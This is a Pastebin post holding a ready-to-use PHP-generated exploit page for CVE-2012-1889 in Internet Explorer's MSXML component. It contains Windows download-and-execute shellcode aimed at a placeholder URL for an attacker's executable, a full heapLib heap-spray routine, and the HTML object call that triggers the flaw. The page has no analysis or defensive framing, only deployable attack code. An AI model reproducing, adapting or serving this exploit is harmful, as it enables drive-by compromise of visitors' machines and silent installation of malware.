Advertisement
The_KGB

CVE-2012-1889 exploit

Aug 22nd, 2012
25,571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.25 KB | None | 0 0
  1. class.php:
  2. <?php
  3. class ShellCode {
  4.  
  5.     function get($url){
  6.         return "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u​588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B​3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238​%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u​1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFF​FF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F​%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%u​C283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55​FF%u5704%uEFB8%uE0CE%uFF60%u0455" . ShellCode::unescape($url);
  7.     }
  8.  
  9.     function unescape($s){
  10.         $out = "";
  11.         $res = strtoupper(bin2hex($s));
  12.         $g = round(strlen($res) / 4);
  13.         if ($g != (strlen($res) / 4)){
  14.             $res .= "00";
  15.         }
  16.         for ($i = 0; $i < strlen($res); $i+=4){
  17.             $out .= "%u" . substr($res, $i+2, 2) . substr($res, $i, 2);
  18.         }
  19.         return $out;
  20.     }
  21.  
  22. }
  23. ?>
  24.  
  25. exploit.php:
  26. <?php
  27. echo ("    
  28. <script type=\"text/javascript\">
  29. function heapLib() {
  30. }
  31.  
  32. heapLib.ie = function(maxAlloc, heapBase) {
  33.  
  34.    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
  35.    this.heapBase = (heapBase ? heapBase : 0x150000);
  36.  
  37.    // Allocate a padding string that uses maxAlloc bytes
  38.    this.paddingStr = \"AAAA\";
  39.  
  40.    while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) {
  41.  this.paddingStr += this.paddingStr;
  42.    }
  43.  
  44.    // Create an array for storing references to allocated memory
  45.    this.mem = new Array();
  46.  
  47.    // Call flushOleaut32() once to allocate the maximum size blocks
  48.    this.flushOleaut32();
  49. }
  50.  
  51. //
  52. // Outputs a debugging message in WinDbg. The msg argument must be a string
  53. // literal. Using string concatenation to build the message will result in heap
  54. // allocations.
  55. //
  56. // Arguments:
  57. //    msg - string to output
  58. //
  59.  
  60. heapLib.ie.prototype.debug = function(msg) {
  61.    void(Math.atan2(0xbabe, msg));
  62. }
  63.  
  64. //
  65. // Enables or disables logging of heap operations in WinDbg.
  66. //
  67. // Arguments:
  68. //    enable - a boolean value, set to true to enable heap logging
  69. //
  70.  
  71. heapLib.ie.prototype.debugHeap = function(enable) {
  72.  
  73.    if (enable == true)
  74.  void(Math.atan(0xbabe));
  75.    else
  76.  void(Math.asin(0xbabe));
  77. }
  78.  
  79. //
  80. // Triggers a breakpoint in the debugger.
  81. //
  82.  
  83. heapLib.ie.prototype.debugBreak = function(msg) {
  84.    void(Math.acos(0xbabe));
  85. }
  86.  
  87. //
  88. // Returns a string of a specified length, up to the maximum allocation size
  89. // set in the heapLib.ie constructor. The string contains \"A\" characters.
  90. //
  91. // Arguments:
  92. //    len - length in characters
  93. //
  94.  
  95. heapLib.ie.prototype.padding = function(len) {
  96.    if (len > this.paddingStr.length)
  97.  throw \"Requested padding string length \" + len + \", only \" + this.paddingStr.length + \" available\";
  98.  
  99.    return this.paddingStr.substr(0, len);
  100. }
  101.  
  102. //
  103. // Returns a number rounded up to a specified value.
  104. //
  105. // Arguments:
  106. //    num   - integer to round
  107. //    round - value to round to
  108. //
  109.  
  110. heapLib.ie.prototype.round = function(num, round) {
  111.    if (round == 0)
  112.  throw \"Round argument cannot be 0\";
  113.  
  114.    return parseInt((num + (round-1)) / round) * round;
  115. }
  116.  
  117. //
  118. // Converts an integer to a hex string. This function uses the heap.
  119. //
  120. // Arguments:
  121. //    num   - integer to convert
  122. //    width - pad the output with zeros to a specified width (optional)
  123. //
  124.  
  125. heapLib.ie.prototype.hex = function(num, width)
  126. {
  127.    var digits = \"0123456789ABCDEF\";
  128.  
  129.    var hex = digits.substr(num & 0xF, 1);
  130.  
  131.    while (num > 0xF) {
  132.  num = num >>> 4;
  133.  hex = digits.substr(num & 0xF, 1) + hex;
  134.    }
  135.  
  136.    var width = (width ? width : 0);
  137.  
  138.    while (hex.length < width)
  139.  hex = \"0\" + hex;
  140.  
  141.    return hex;
  142. }
  143.  
  144. //
  145. // Convert a 32-bit address to a 4-byte string with the same representation in
  146. // memory. This function uses the heap.
  147. //
  148. // Arguments:
  149. //    addr - integer representation of the address
  150. //
  151.  
  152. heapLib.ie.prototype.addr = function(addr) {
  153.    return unescape(\"%u\" + this.hex(addr & 0xFFFF, 4) + \"%u\" + this.hex((addr >> 16) & 0xFFFF, 4));
  154. }
  155.  
  156. //
  157. // Allocates a block of a specified size with the OLEAUT32 alloc function.
  158. //
  159. // Arguments:
  160. //    arg - size of the new block in bytes, or a string to strdup
  161. //    tag - a tag identifying the memory block (optional)
  162. //
  163.  
  164. heapLib.ie.prototype.allocOleaut32 = function(arg, tag) {
  165.  
  166.    var size;
  167.  
  168.    // Calculate the allocation size
  169.    if (typeof arg == \"string\" || arg instanceof String)
  170.  size = 4 + arg.length*2 + 2;    // len + string data + null terminator
  171.    else
  172.  size = arg;
  173.  
  174.    // Make sure that the size is valid
  175.    if ((size & 0xf) != 0)
  176.  throw \"Allocation size \" + size + \" must be a multiple of 16\";
  177.  
  178.    // Create an array for this tag if doesn't already exist
  179.    if (this.mem[tag] === undefined)
  180.  this.mem[tag] = new Array();
  181.  
  182.    if (typeof arg == \"string\" || arg instanceof String) {
  183.  // Allocate a new block with strdup of the string argument
  184.  this.mem[tag].push(arg.substr(0, arg.length));
  185.    }
  186.    else {
  187.  // Allocate the block
  188.  this.mem[tag].push(this.padding((arg-6)/2));
  189.    }
  190. }
  191.  
  192. //
  193. // Frees all memory blocks marked with a specific tag with the OLEAUT32 memory
  194. // allocator.
  195. //
  196. // Arguments:
  197. //    tag - a tag identifying the group of blocks to be freed
  198. //
  199.  
  200. heapLib.ie.prototype.freeOleaut32 = function(tag) {
  201.  
  202.    delete this.mem[tag];
  203.  
  204.    // Run the garbage collector
  205.    CollectGarbage();
  206. }
  207.  
  208. //
  209. // The JScript interpreter uses the OLEAUT32 memory allocator for all string
  210. // allocations. This allocator stores freed blocks in a cache and reuses them
  211. // for later allocations. The cache consists of 4 bins, each storing up to 6
  212. // blocks. Each bin holds blocks of a certain size range:
  213. //
  214. //    0 - 32
  215. //    33 - 64
  216. //    65 - 256
  217. //    257 - 32768
  218. //
  219. // When a block is freed by the OLEAUT32 free function, it is stored in one of
  220. // the bins. If the bin is full, the smallest block in the bin is freed with
  221. // RtlFreeHeap() and is replaced with the new block. Chunks larger than 32768
  222. // bytes are not cached and are freed directly.
  223. //
  224. // To flush the cache, we need to free 6 blocks of the maximum size for each
  225. // bin. The maximum size blocks will push out all smaller blocks from the
  226. // cache. Then we allocate the maximum size blocks again, leaving the cache
  227. // empty.
  228. //
  229. // You need to call this function once to allocate the maximum size blocks
  230. // before you can use it to flush the cache.
  231. //
  232.  
  233. heapLib.ie.prototype.flushOleaut32 = function() {
  234.  
  235.    this.debug(\"Flushing the OLEAUT32 cache\");
  236.  
  237.    // Free the maximum size blocks and push out all smaller blocks
  238.  
  239.    this.freeOleaut32(\"oleaut32\");
  240.  
  241.    // Allocate the maximum sized blocks again, emptying the cache
  242.  
  243.    for (var i = 0; i < 6; i++) {
  244.  this.allocOleaut32(32, \"oleaut32\");
  245.  this.allocOleaut32(64, \"oleaut32\");
  246.  this.allocOleaut32(256, \"oleaut32\");
  247.  this.allocOleaut32(32768, \"oleaut32\");
  248.    }
  249. }
  250.  
  251. //
  252. // Allocates a block of a specified size with the system memory allocator. A
  253. // call to this function is equivalent to a call to HeapAlloc(). If the first
  254. // argument is a number, it specifies the size of the new block, which is
  255. // filled with \"A\" characters. If the argument is a string, its data is copied
  256. // into a new block of size arg.length * 2 + 6. In both cases the size of the
  257. // new block must be a multiple of 16 and not equal to 32, 64, 256 or 32768.
  258. //
  259. // Arguments:
  260. //    arg - size of the memory block in bytes, or a string to strdup
  261. //    tag - a tag identifying the memory block (optional)
  262. //
  263.  
  264. heapLib.ie.prototype.alloc = function(arg, tag) {
  265.  
  266.    var size;
  267.  
  268.    // Calculate the allocation size
  269.    if (typeof arg == \"string\" || arg instanceof String)
  270.  size = 4 + arg.length*2 + 2;    // len + string data + null terminator
  271.    else
  272.  size = arg;
  273.  
  274.    // Make sure that the size is valid
  275.    if (size == 32 || size == 64 || size == 256 || size == 32768)
  276.  throw \"Allocation sizes \" + size + \" cannot be flushed out of the OLEAUT32 cache\";
  277.  
  278.    // Allocate the block with the OLEAUT32 allocator
  279.    this.allocOleaut32(arg, tag);
  280. }
  281.  
  282. //
  283. // Frees all memory blocks marked with a specific tag with the system memory
  284. // allocator. A call to this function is equivalent to a call to HeapFree().
  285. //
  286. // Arguments:
  287. //    tag - a tag identifying the group of blocks to be freed
  288. //
  289.  
  290. heapLib.ie.prototype.free = function(tag) {
  291.  
  292.    // Free the blocks with the OLEAUT32 free function
  293.    this.freeOleaut32(tag);
  294.  
  295.    // Flush the OLEAUT32 cache
  296.    this.flushOleaut32();
  297. }
  298.  
  299. //
  300. // Runs the garbage collector and flushes the OLEAUT32 cache. Call this
  301. // function before before using alloc() and free().
  302. //
  303.  
  304. heapLib.ie.prototype.gc = function() {
  305.  
  306.    this.debug(\"Running the garbage collector\");
  307.    CollectGarbage();
  308.  
  309.    this.flushOleaut32();
  310. }
  311.  
  312. //
  313. // Adds blocks of the specified size to the free list and makes sure they are
  314. // not coalesced. The heap must be defragmented before calling this function.
  315. // If the size of the memory blocks is less than 1024, you have to make sure
  316. // that the lookaside is full.
  317. //
  318. // Arguments:
  319. //    arg    - size of the new block in bytes, or a string to strdup
  320. //    count  - how many free blocks to add to the list (defaults to 1)
  321. //
  322.  
  323. heapLib.ie.prototype.freeList = function(arg, count) {
  324.  
  325.    var count = (count ? count : 1);
  326.  
  327.    for (var i = 0; i < count; i++) {
  328.  this.alloc(arg);
  329.  this.alloc(arg, \"freeList\");
  330.    }
  331.    this.alloc(arg);
  332.  
  333.    this.free(\"freeList\");
  334. }
  335.  
  336. //
  337. // Add blocks of the specified size to the lookaside. The lookaside must be
  338. // empty before calling this function.
  339. //
  340. // Arguments:
  341. //    arg    - size of the new block in bytes, or a string to strdup
  342. //    count  - how many blocks to add to the lookaside (defaults to 1)
  343. //
  344.  
  345. heapLib.ie.prototype.lookaside = function(arg, count) {
  346.  
  347.    var size;
  348.  
  349.    // Calculate the allocation size
  350.    if (typeof arg == \"string\" || arg instanceof String)
  351.  size = 4 + arg.length*2 + 2;    // len + string data + null terminator
  352.    else
  353.  size = arg;
  354.  
  355.    // Make sure that the size is valid
  356.    if ((size & 0xf) != 0)
  357.  throw \"Allocation size \" + size + \" must be a multiple of 16\";
  358.  
  359.    if (size+8 >= 1024)
  360.  throw(\"Maximum lookaside block size is 1008 bytes\");
  361.  
  362.    var count = (count ? count : 1);
  363.  
  364.    for (var i = 0; i < count; i++)
  365.  this.alloc(arg, \"lookaside\");
  366.  
  367.    this.free(\"lookaside\");
  368. }
  369.  
  370. //
  371. // Return the address of the head of the lookaside linked list for blocks of a
  372. // specified size. Uses the heapBase parameter from the heapLib.ie constructor.
  373. //
  374. // Arguments:
  375. //    arg - size of the new block in bytes, or a string to strdup
  376. //
  377.  
  378. heapLib.ie.prototype.lookasideAddr = function(arg)
  379. {
  380.    var size;
  381.  
  382.    // Calculate the allocation size
  383.    if (typeof arg == \"string\" || arg instanceof String)
  384.  size = 4 + arg.length*2 + 2;    // len + string data + null terminator
  385.    else
  386.  size = arg;
  387.  
  388.    // Make sure that the size is valid
  389.    if ((size & 0xf) != 0)
  390.  throw \"Allocation size \" + size + \" must be a multiple of 16\";
  391.  
  392.    if (size+8 >= 1024)
  393.  throw(\"Maximum lookaside block size is 1008 bytes\");
  394.  
  395.    // The lookahead array starts at heapBase + 0x688. It contains a 48 byte
  396.    // structure for each block size + header size in 8 byte increments.
  397.  
  398.    return this.heapBase + 0x688 + ((size+8)/8)*48;
  399. }
  400.  
  401. //
  402. // Returns a fake vtable that contains shellcode. The caller should free the
  403. // vtable to the lookaside and use the address of the lookaside head as an
  404. // object pointer. When the vtable is used, the address of the object must be
  405. // in eax and the pointer to the vtable must be in ecx. Any virtual function
  406. // call through the vtable from ecx+8 to ecx+0x80 will result in shellcode
  407. // execution. This function uses the heap.
  408. //
  409. // Arguments:
  410. //    shellcode - shellcode string
  411. //    jmpecx    - address of a jmp ecx or equivalent instruction
  412. //    size  - size of the vtable to generate (defaults to 1008 bytes)
  413. //
  414.  
  415. heapLib.ie.prototype.vtable = function(shellcode, jmpecx, size) {
  416.  
  417.    var size = (size ? size : 1008);
  418.  
  419.    // Make sure the size is valid
  420.    if ((size & 0xf) != 0)
  421.  throw \"Vtable size \" + size + \" must be a multiple of 16\";
  422.  
  423.    if (shellcode.length*2 > size-138)
  424.  throw(\"Maximum shellcode length is \" + (size-138) + \" bytes\");
  425.  
  426.    // Build the fake vtable that will go on the lookaside list
  427.    //
  428.    // lookaside ptr  jmp +124  addr of jmp ecx  sub [eax], al*2  shellcode  null
  429.    // 4 bytes  4 bytes   124 bytes  4 bytes    size-138 bytes  2 bytes
  430.  
  431.    var vtable = unescape(\"%u9090%u7ceb\")   // nop, nop, jmp + 124
  432.  
  433.    for (var i = 0; i < 124/4; i++)
  434.  vtable += this.addr(jmpecx);
  435.  
  436.    // If the vtable is the only entry on the lookaside, the first 4 bytes will
  437.    // be 00 00 00 00, which disassembles as two add [eax], al instructions.
  438.    // The jmp ecx trampoline will jump back to the beginning of the vtable and
  439.    // execute the add [eax], al instructions. We need to use two sub [eax], al
  440.    // instructions to fix the heap.
  441.  
  442.    vtable += unescape(\"%u0028%u0028\") +    // two sub [eax], al instructions
  443.    shellcode + heap.padding((size-138)/2 - shellcode.length);
  444.  
  445.    return vtable;
  446. }
  447. </script>\n
  448.  <script>\n
  449.  var heap_obj = new heapLib.ie(0x20000);\n
  450.  var code = unescape(\"" . Shellcode::get("http://example.com/yourfolder/yourfile.exe") . "\");\n
  451.  var nops = unescape(\"" . Shellcode::unescape("\x0c\x0c\x0c\x0c") . "\");\n
  452.  
  453.  while (nops.length < 0x80000) nops += nops;\n
  454.  var offset = nops.substring(0, 0x800-code.length);\n
  455.  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n
  456.  
  457.  while (shellcode.length < 0x40000) shellcode += shellcode;\n
  458.  var block = shellcode.substring(0, (0x80000-6)/2);\n
  459.  
  460.  heap_obj.gc();\n
  461.  
  462.  for (var i=1; i < 0xa70; i++) {\n
  463.    heap_obj.alloc(block);\n
  464.  }\n
  465.  
  466.  </script>\n
  467.  </head>\n
  468.  <body>\n
  469.  <object classid=\"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4\" id=\"elem1\"></object><script>\n
  470.  document.getElementById(\"elem1\").object.definition(201);\n
  471.  </script>\n
  472.        ");
  473. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement